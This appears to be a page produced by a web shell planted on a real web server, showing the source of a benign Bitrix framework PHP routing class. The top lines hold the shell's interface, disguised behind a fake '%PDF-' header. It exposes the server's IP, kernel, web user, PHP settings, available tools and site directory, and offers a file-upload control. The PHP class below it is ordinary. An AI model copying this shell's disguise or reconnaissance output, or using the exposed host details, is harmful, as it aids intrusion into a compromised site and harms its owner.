%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 3.149.247.223 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/main/lib/routing/ |
Upload File : |
<?php /** * Bitrix Framework * @package bitrix * @subpackage main * @copyright 2001-2020 Bitrix */ namespace Bitrix\Main\Routing; use Bitrix\Main\SystemException; /** * @package bitrix * @subpackage main * * @method RoutingConfiguration middleware($middleware) * @method RoutingConfiguration prefix($prefix) * @method RoutingConfiguration name($name) * @method RoutingConfiguration domain($domain) * @method RoutingConfiguration where($parameter, $pattern) * @method RoutingConfiguration default($parameter, $value) */ class RoutingConfiguration { /** @var RoutingConfigurator */ protected $configurator; /** @var Route|\Closure One route or group of routes */ protected $routeContainer; /** @var Options */ protected $options; public static $configurationList = [ 'get', 'post', 'put', 'patch', 'options', 'delete', 'any', 'group' ]; public function __call($method, $arguments) { // setting option if (in_array($method, Options::$optionList, true)) { $this->options->$method(...$arguments); return $this; } throw new SystemException(sprintf( 'Unknown method `%s` for object `%s`', $method, get_called_class() )); } /** * @param RoutingConfigurator $configurator */ public function setConfigurator($configurator) { $this->configurator = $configurator; } /** * @param Options $options */ public function setOptions($options) { $this->options = $options; } public function get($uri, $controller) { $this->options->methods(['GET', 'HEAD']); $route = new Route($uri, $controller); $this->routeContainer = $route; return $this; } public function post($uri, $controller) { $this->options->methods(['POST']); $route = new Route($uri, $controller); $this->routeContainer = $route; return $this; } public function put($uri, $controller) { $this->options->methods(['PUT']); $route = new Route($uri, $controller); $this->routeContainer = $route; return $this; } public function patch($uri, $controller) { $this->options->methods(['PATCH']); $route = new Route($uri, $controller); $this->routeContainer = $route; return $this; } public function options($uri, $controller) { $this->options->methods(['OPTIONS']); $route = new Route($uri, $controller); $this->routeContainer = $route; return $this; } public function delete($uri, $controller) { $this->options->methods(['DELETE']); $route = new Route($uri, $controller); $this->routeContainer = $route; return $this; } public function any($uri, $controller) { $route = new Route($uri, $controller); $this->routeContainer = $route; return $this; } public function match($methods, $uri, $controller) { $this->options->methods($methods); $route = new Route($uri, $controller); $this->routeContainer = $route; return $this; } public function group($callback) { $this->routeContainer = $callback; // add inner configuration to the router $subConfigurator = clone $this->configurator; $subConfigurator->mergeOptionsWith($this->options); // call $callback = $this->routeContainer; $callback($subConfigurator); } public function release() { $routes = []; if ($this->routeContainer instanceof Route) { $route = $this->routeContainer; $route->setOptions($this->options); $routes[] = $route; } return $routes; } }